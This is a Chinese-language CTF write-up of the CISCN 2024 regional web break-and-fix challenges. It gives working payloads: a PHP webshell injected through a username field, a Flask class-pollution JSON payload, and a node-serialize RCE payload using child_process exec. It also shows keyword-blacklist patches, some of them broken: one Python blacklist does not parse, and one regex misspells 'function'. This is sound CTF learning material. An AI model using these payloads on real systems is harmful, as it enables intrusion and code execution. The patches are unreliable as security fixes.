0%

CISCN2024 华东南赛区

记录我福师大热情的篮球场

CISCN2024 华东南赛区

前言

倒一身份进入华东南分区赛!!比赛前一天准备蛮多东西,一晚上在本地搭建ai模型,又下载一堆工具,对我来说真的蛮紧张的。不过还好超常发挥,做三道web直直直直直接打到15名。后面fix除了那道原型链污染可惜之外,其他拿源码也修不明白呜呜呜。总的来说除了比赛场地非常热之外,分区赛体验感还不错。


submit

BREAK

文件上传功能

有对php字符进行检测,<=直接绕过

访问文件上传路径,得到flag

FIX

由于题目要求是png图片,直接加个白名单检测

1
2
3
4
5
6
7
$allowedExtensions = array("png");
$extension = pathinfo($_FILES['myfile']['name'], PATHINFO_EXTENSION);
// 检查文件类型是否允许上传
if (!in_array(strtolower($extension), $allowedExtensions)) {
echo "只允许上传png";
exit;
}

最终将upload.php替换就行,不需要重启服务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
// $path = "./uploads";
error_reporting(0);
$path = "./uploads";
$content = file_get_contents($_FILES['myfile']['tmp_name']);
$allow_content_type = array("image/png");
$type = $_FILES["myfile"]["type"];

//修复部分
$allowedExtensions = array("png");
$extension = pathinfo($_FILES['myfile']['name'], PATHINFO_EXTENSION);
// 检查文件类型是否允许上传
if (!in_array(strtolower($extension), $allowedExtensions)) {
echo "只允许上传png";
exit;
}
//
if (!in_array($type, $allow_content_type)) {
die("只允许png哦!<br>");
}

if (preg_match('/(php|script|xml|user|htaccess)/i', $content)) {
// echo "匹配成功!";
die('鼠鼠说你的内容不符合哦0-0');
} else {
$file = $path . '/' . $_FILES['myfile']['name'];
echo $file;

if (move_uploaded_file($_FILES['myfile']['tmp_name'], $file)) {
file_put_contents($file, $content);
echo 'Success!<br>';
} else {
echo 'Error!<br>';
}
}
?>

<!---->

粗心的程序员

BREAK

扫描目录存在www.zip源码泄露

随便注册一个用户登录,注意到是用户修改名字的功能

我们审一下代码

edit.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
include "default_info_auto_recovery.php";
include "config.php";
error_reporting(0);
session_start();
function CheckNewUser($username){
if (strlen($username) <5 || strlen($username) > 20){
return "新用户名长度必须大于等于5或者小于等于10!";
}
else{
return "ok";
}
}
$id = $_SESSION['id'];
if (!$id){
die("NO ACCESS!");
}
$newusername = $_POST['newusername'];
$info = CheckNewUser(base64_decode($newusername));
if ($info != "ok"){
echo $info;
die();
}
$sql = "SELECT * FROM user WHERE username = ?";
$stmt = $pdo->prepare($sql);
$stmt->bindValue(1,$newusername);
$stmt->execute();
$result = $stmt->fetchAll(PDO::FETCH_ASSOC);
$cont = count($result);
if ($cont){
echo "该用户已存在!";
die();
}
$sql = "UPDATE user SET username= ? where id=?";
$stmt = $pdo->prepare($sql);
$stmt->bindValue(1,htmlspecialchars($newusername,ENT_QUOTES));
$stmt->bindValue(2,htmlspecialchars($id,ENT_QUOTES));
$status = $stmt->execute();
if ($status){
$_SESSION['username'] = base64_decode($newusername);
echo "修改成功!";
}else{
echo "修改失败!";
}

edit.php主要就是接收POST参数的新用户名,然后对数据库进行操作,最后写入session的username。不过这里有bindValue()htmlspecialchars(),那么很明显不存在sql注入

我们再看看home.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<?php
error_reporting(0);
include "default_info_auto_recovery.php";
session_start();
$p = $_SERVER["HTTP_X_FORWARDED_FOR"]?:$_SERVER["REMOTE_ADDR"];
if (preg_match("/\?|php|:/i",$p))
{
die("");
}
$time = date('Y-m-d h:i:s', time());
$username = $_SESSION['username'];
$id = $_SESSION['id'];
if ($username && $id){
echo "Hello,"."$username";
$str = "//登陆时间$time,$username $p";
$str = str_replace("\n","",$str);
file_put_contents("config.php",file_get_contents("config.php").$str);
}else{
die("NO ACCESS");
}
?>
<br>
<script type="text/javascript" src="js/jquery-1.9.0.min.js"></script>
<script type="text/javascript" src="js/jquery.base64.js"></script>
<script>
function submitData(){
var obj = new Object();
obj.name = $('#newusername').val();
var str = $.base64.encode(JSON.stringify(obj.name).replace("\"","").replace("\"",""));
$.post("edit.php",
{
newusername: str
},
function(str){
alert(str);
location.reload()
});
}

jQuery.base64 = (function($) {

var keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";

function utf8Encode(string) {
//省略加密部分
return utftext;
}

function encode(input) {
//省略加密部分
return output;
}

return {
encode: function (str) {
return encode(str);
}
};

}(jQuery));

</script>
更改用户名<input type="text" name="newusername" id="newusername" value="">
<button type="submit" onclick="submitData()" >更改</button>

注意到存在file_put_contents()函数,往前推发现变量str就是session中的username

1
file_put_contents("config.php",file_get_contents("config.php").$str);

$str = "//登陆时间$time,$username $p";是由三部分拼接的,并且过滤了换行\n

我们可以尝试写马,使用\r绕过换行(这里可以不用<>标签,直接eval)

1
\reval($_GET[1]);//

base64编码一下就是payload

注意这里\r不能直接用cyberchef按字符加密

我们可以将上述加密解码一下

我们在edit.php输入我们要修改的payload,然后访问home.php成功写入一句话木马到数据库

最后就是在config.php与数据库进行交互操作

1
2
3
4
5
6
7
<?php
$db_host = '127.0.0.1';
$db_name = 'ctf';
$db_user = 'root';
$db_pwd = 'root';
$dsn = "mysql:host=$db_host;dbname=$db_name";
$pdo = new PDO($dsn,$db_user,$db_pwd);

访问/config?1=system('cat /f*');即可得到flag

FIX

上述攻击手段是通过写入一句话木马到数据库

那么我们可以删掉写数据库操作即可

1
2
3
4
5
6
7
8
$time = date('Y-m-d h:i:s', time());
$username = $_SESSION['username'];
$id = $_SESSION['id'];
if ($username && $id){
echo "Hello,"."$username";
}else{
die("NO ACCESS");
}

Polluted

BREAK

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from flask import Flask, session, redirect, url_for,request,render_template
import os
import hashlib
import json
import re

def generate_random_md5():
random_string = os.urandom(16)
md5_hash = hashlib.md5(random_string)

return md5_hash.hexdigest()
def filter(user_input):
blacklisted_patterns = ['init', 'global', 'env', 'app', '_', 'string']
for pattern in blacklisted_patterns:
if re.search(pattern, user_input, re.IGNORECASE):
return True
return False
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)


app = Flask(__name__)
app.secret_key = generate_random_md5()

class evil():
def __init__(self):
pass

@app.route('/',methods=['POST'])
def index():
username = request.form.get('username')
password = request.form.get('password')
session["username"] = username
session["password"] = password
Evil = evil()
if request.data:
if filter(str(request.data)):
return "NO POLLUTED!!!YOU NEED TO GO HOME TO SLEEP~"
else:
merge(json.loads(request.data), Evil)
return "MYBE YOU SHOULD GO /ADMIN TO SEE WHAT HAPPENED"
return render_template("index.html")

@app.route('/admin',methods=['POST', 'GET'])
def templates():
username = session.get("username", None)
password = session.get("password", None)
if username and password:
if username == "adminer" and password == app.secret_key:
return render_template("important.html", flag=open("/flag", "rt").read())
else:
return "Unauthorized"
else:
return f'Hello, This is the POLLUTED page.'

if __name__ == '__main__':
app.run(host='0.0.0.0',debug=True, port=80)

存在merge函数那么考点肯定是python原型链污染

首先定义了secret_key,使用os.urandom函数生成随机数

1
2
3
4
5
def generate_random_md5():
random_string = os.urandom(16)
md5_hash = hashlib.md5(random_string)

app.secret_key = generate_random_md5()

定义了黑名单

1
2
3
4
5
def filter(user_input):
blacklisted_patterns = ['init', 'global', 'env', 'app', '_', 'string']
for pattern in blacklisted_patterns:
if re.search(pattern, user_input, re.IGNORECASE):
return True

json格式数据可以用unicode编码,所以这里关键字都可以绕过

定义了evil类,初始化的作用

1
2
3
class evil():
def __init__(self):
pass

/路由下POST传参

1
2
3
4
5
6
7
8
9
10
11
12
13
14
@app.route('/',methods=['POST'])
def index():
username = request.form.get('username')
password = request.form.get('password')
session["username"] = username
session["password"] = password
Evil = evil()
if request.data:
if filter(str(request.data)):
return "NO POLLUTED!!!YOU NEED TO GO HOME TO SLEEP~"
else:
merge(json.loads(request.data), Evil)
return "MYBE YOU SHOULD GO /ADMIN TO SEE WHAT HAPPENED"
return render_template("index.html")

接收username和password,并赋值给session。然后evil初始化,对传参的值黑名单检测(unicode绕过)

如果未检测到则执行merge函数,存在原型链污染漏洞

/admin路由如下

1
2
3
4
5
6
7
8
9
10
11
@app.route('/admin',methods=['POST', 'GET'])
def templates():
username = session.get("username", None)
password = session.get("password", None)
if username and password:
if username == "adminer" and password == app.secret_key:
return render_template("important.html", flag=open("/flag", "rt").read())
else:
return "Unauthorized"
else:
return f'Hello, This is the POLLUTED page.'

检测session中的username和password是否正确,正确则返回flag

思路

由于得到flag的条件非常苛刻,因为我们根本无法确定secret_key的值,所以我们选择污染key,然后利用/路由下的对session赋值,得到adminer:123456的cookie,再拿此cookie去访问/admin即可实现绕过

payload

1
2
3
4
5
6
7
8
9
{
"__init__":{
"__globals__":{
"app":{
"secret_key":"123456"
}
}
}
}

编码一下

1
2
3
4
5
6
7
8
9
{
"\u005f\u005fin\u0069t\u005f\u005f":{
"\u005f\u005fglob\u0061ls\u005f\u005f":{
"\u0061pp":{
"secret\u005fkey":"123456"
}
}
}
}

污染成功后,登录adminer:123456拿cookie,然后访问/admin

发现没有flag,想到还有个知识点 _static_folder 是用于指定静态文件的存放路径

1
2
3
4
5
6
7
8
9
10
{
"__init__":{
"__globals__":{
"app":{
"secret_key":"123456",
"_static_folder":"/"
}
}
}
}

编码一下

1
2
3
4
5
6
7
8
9
10
{
"\u005f\u005fin\u0069t\u005f\u005f":{
"\u005f\u005fglob\u0061ls\u005f\u005f":{
"\u0061pp":{
"secret\u005fkey":"123456",
"\u005fstatic\u005ffolder":"/"
}
}
}
}

污染成功后我们直接访问静态路由10.1.180.19/static/flag,成功拿到flag

FIX

直接添加对unicode的waf,以及读取静态路由的关键字_static_folder

原来黑名单修改一下

1
2
3
4
5
6
def filter(user_input):
blacklisted_patterns = ['init', 'global', 'globals', 'env', 'app', '_', '_static_folder','\u005f', '\u0069', '\u0061', '\u004','\u0067','\u006c','\u006f','\u0062','\u0063','\u0064','\u006c','\u0073', '\u0065', '\u0066', '\u0068','\u0074','\u006d']
for pattern in blacklisted_patterns:
if re.search(pattern, user_input, re.IGNORECASE):
return True
return False

不过一直修到最后一轮还是没成功,赛后才想到这里的\要转义,应该是\\u0061这样

其实也不用那么复杂

对unicode的过滤直接过滤\就行,关键字拆开过滤

1
2
3
4
5
6
def filter(user_input):
blacklisted_patterns = ['init', 'global', 'globals', 'env', 'app', '_', 'static', 'folder','\']
for pattern in blacklisted_patterns:
if re.search(pattern, user_input, re.IGNORECASE):
return True
return False

比赛的时候只能说脑袋给烧晕了,最简单的修复都没想到

bigfish

BREAK

访问admin路由的时候发现出现了set-cookie,给了两个cookie:is_admin=falseusername

尝试修改为Cookie: is_admin=true;username=admin成功登录

尝试路径穿越发现根本读取不到其他文件

审计一下fish.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
const express = require('express');
const path = require('path');
const fs = require('fs');
const cookieParser = require('cookie-parser');
const bodyParser = require('body-parser');
const serialize = require('node-serialize');
const schedule = require('node-schedule');

// Change working directory to /srv
process.chdir('/srv');


let rule1 = new schedule.RecurrenceRule();
rule1.minute = [0, 3, 6 , 9, 12, 15, 18, 21, 24, 27, 30, 33, 36, 39, 42, 45, 48, 51, 54, 57];

// 定时清除
let job1 = schedule.scheduleJob(rule1, () => {
fs.writeFile('data.html',"#获取的数据信息\n",function(error){
console.log("wriet error")
});
});


const app = express();

app.engine('html',require('express-art-template'))

app.use(express.static('public'));
app.use(cookieParser());
app.use(bodyParser.json())
app.use(bodyParser.urlencoded({extended: false}))


data_path = "data.html";

// Middleware to set default cookies for /admin route
function setDefaultAdminCookies(req, res, next) {
if (!req.cookies.username) {
res.cookie('username', 'normal');
}
if (!req.cookies.is_admin) {
res.cookie('is_admin', 'false');
}
next();
}

//主页
app.get('/', function(req, res) {
res.sendFile(path.join(__dirname, 'public/index.html'));
});

app.post('/',function(req, res){
fs.appendFile('data.html',JSON.stringify(req.body)+"\n",function(error){
console.log(req.body)
});
res.sendFile(path.join(__dirname, 'public/index.html'));
});


//后台管理
app.get('/admin', setDefaultAdminCookies, function(req, res) {
if(req.cookies.username !== "admin" || req.cookies.is_admin !== "true"){
res.redirect('login');
}else if(req.cookies.username === "admin" && req.cookies.is_admin === "true"){
res.render('admin.html',{
datadir : data_path
});
}
});

app.post('/admin', setDefaultAdminCookies, function(req, res) {
if(req.cookies.username !== "admin" || req.cookies.is_admin !== "true"){
res.redirect('login');
}else if(req.cookies.username === "admin" && req.cookies.is_admin === "true"){
if(req.body.newname){
data_path = req.body.newname;
res.redirect('admin');
}else{
res.redirect('admin');
}
}
});


//已弃用的登录
app.get('/login', function(req, res) {
res.sendFile(path.join(__dirname, 'public/login.html'));
});

app.post('/login', function(req, res) {
if(req.cookies.profile){
var str = new Buffer(req.cookies.profile, 'base64').toString();
var obj = serialize.unserialize(str);
if (obj.username) {
if (escape(obj.username) === "admin") {
res.send("Hello World");
}
}
}else{
res.sendFile(path.join(__dirname, 'public/data'));
}
});

//QQ
app.get('/qq', function(req, res) {
if(req.cookies.username !== "admin" || req.cookies.is_admin !== "true"){
res.redirect('login');
}else if(req.cookies.username === "admin" && req.cookies.is_admin === "true"){
res.sendFile(path.join(__dirname, data_path));
}
});


app.listen(80, '0.0.0.0');

我们注意到/login路由

1
2
3
4
5
6
7
8
9
10
11
12
13
app.post('/login', function(req, res) {
if(req.cookies.profile){
var str = new Buffer(req.cookies.profile, 'base64').toString();
var obj = serialize.unserialize(str);
if (obj.username) {
if (escape(obj.username) === "admin") {
res.send("Hello World");
}
}
}else{
res.sendFile(path.join(__dirname, 'public/data'));
}
});

接收cookie中的profile参数,将其base64编码后进行反序列化

这里的考点就是nodejs中的serialize模块反序列化漏洞 参考文章

我们先安装此模块

1
npm install node-serialize

然后序列化(无回显直接写文件外带)

1
2
3
4
5
6
7
var y = {
function(){
require('child_process').exec('cat /f* > /tmp/1.txt', function(error, stdout, stderr){ console.log(stdout) });
}
}
var s = require('node-serialize');
console.log("Serialized:\n" + s.serialize(y));

得到payload

1
{"function":"_$$ND_FUNC$$_function(){\r\n\t\trequire('child_process').exec('cat /f* > /tmp/1.txt', function(error, stdout, stderr){ console.log(stdout) });\r\n\t}"}

FIX

将几个关键字过滤一下就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
app.post('/login', function(req, res) {
if(req.cookies.profile){
var str = new Buffer(req.cookies.profile, 'base64').toString();
if(str.match(/(funcion|require|exec|child_process)/)){
res.sendFile(path.join(__dirname, 'public/data'));
}else{
var obj = serialize.unserialize(str);
if (obj.username) {
if (escape(obj.username) === "admin") {
res.send("Hello World");
}
}
}
}else{
res.sendFile(path.join(__dirname, 'public/data'));
}
});

不过听说还有xss的洞要修

用的是22年黑盾杯的方法:https://mp.weixin.qq.com/s/F9v9-8s2_mJhlEWRICzVvg

复现xss参考:https://blog.mo60.cn/index.php/archives/487.html